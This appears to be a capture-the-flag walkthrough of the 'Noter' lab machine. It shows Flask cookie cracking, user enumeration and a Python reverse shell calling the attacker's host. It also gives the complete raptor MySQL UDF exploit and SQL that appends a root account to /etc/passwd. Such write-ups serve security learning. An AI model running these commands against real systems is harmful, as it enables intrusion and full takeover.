NETWORK
ENUMERATION
Scans
JWT secret password
We know that the technology used here is flask so we can use flask-unsign Let’s guess the JWT secret password
flask-unsign --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidG9tIn0.Yt8dxg.yHbXrLdx2VVzCgt6axWTCVfKGm4'
Users enumeration (using ffuf)
using a fake username and fake password, we get the following message “Invalid credentials”
Using our user “tom” (an existing user) with a random password we get the message “Invalid login”
Let’s run ffuf to enumerate the users (based on the error message)
ffuf -u http://noter.htb:5000/login -d "username=FUZZ&password=whatever" -w /usr/share/seclists/Usernames/Names/names.txt -X POST -H "Content-Type: application/x-www-form-urlencoded" -mr "Invalid login" -s
JWT cracking
Using hydra to brute force our way in didn’t work so we decided to crack the JWT instead.
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
Looking into the notes
FOOTHOLD
FTP access
FTP as ftp_admin
Knowing the password policy we can guess the ftp_admin user password. Using the credentials ‘ftp_admin/ftp_admin@Noter!’ we can access the FTP
Code review
diff --color ../app_backup_1638395546/app.py app.py
Exploit app.py
Let’s create a markdown file with a reverse shell
';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.9",1234));
os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' # '
Let’s serve the shell via a local serve and post it as url to ‘/export_note_remote’
curl -X POST http://10.10.11.160:5000/export_note_remote -F 'url=http://10.10.16.9/reverse.md' -b 'session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YuMH1w.FJwxHeWt5l5Pd07pcNiBQ0zi9ik'
doing so give us access on the server as low user svc
PRIV ESCALATION
Bypass mysql exploiting user defined function (UDF)
https://www.exploit-db.com/exploits/1518
Let’s create the raptor_udf2.c
and paste the payload (from https://www.exploit-db.com/exploits/1518)
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p # root:Nildogg36
Also, we need to check if the variable secure_file_priv is enabled to allow data import and export operations like load_file and load_data functions.
If the returned value is null/empty, as in the below screenshot, it means the variable is disabled, and we can load data into the database.
show variables like '%secure_file_priv%';
Now we know where we should store the exploit and have all the needed permissions. Next, we will switch to the mysql database and create the UDF function inside mysql to point to our compiled exploit (shared library).
use mysql;
create table foo(line blob);
insert into foo values(load_file('/dev/shm/raptor_udf2.so'));
show variables like '%plugin%';
Next, select the binary contents in the shared library and dump them onto the plugins directory, where UDFS can be stored.
-then, we can finally call the exploit by creating a function that invokes it.
Then add the user hacker
to /etc/passwd
select do_system("echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd");
HELPER
The whole mysql privilege escalation in one line
use mysql;
create table foo(line blob); insert into foo values(load_file('/dev/shm/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system("echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd");
\! sh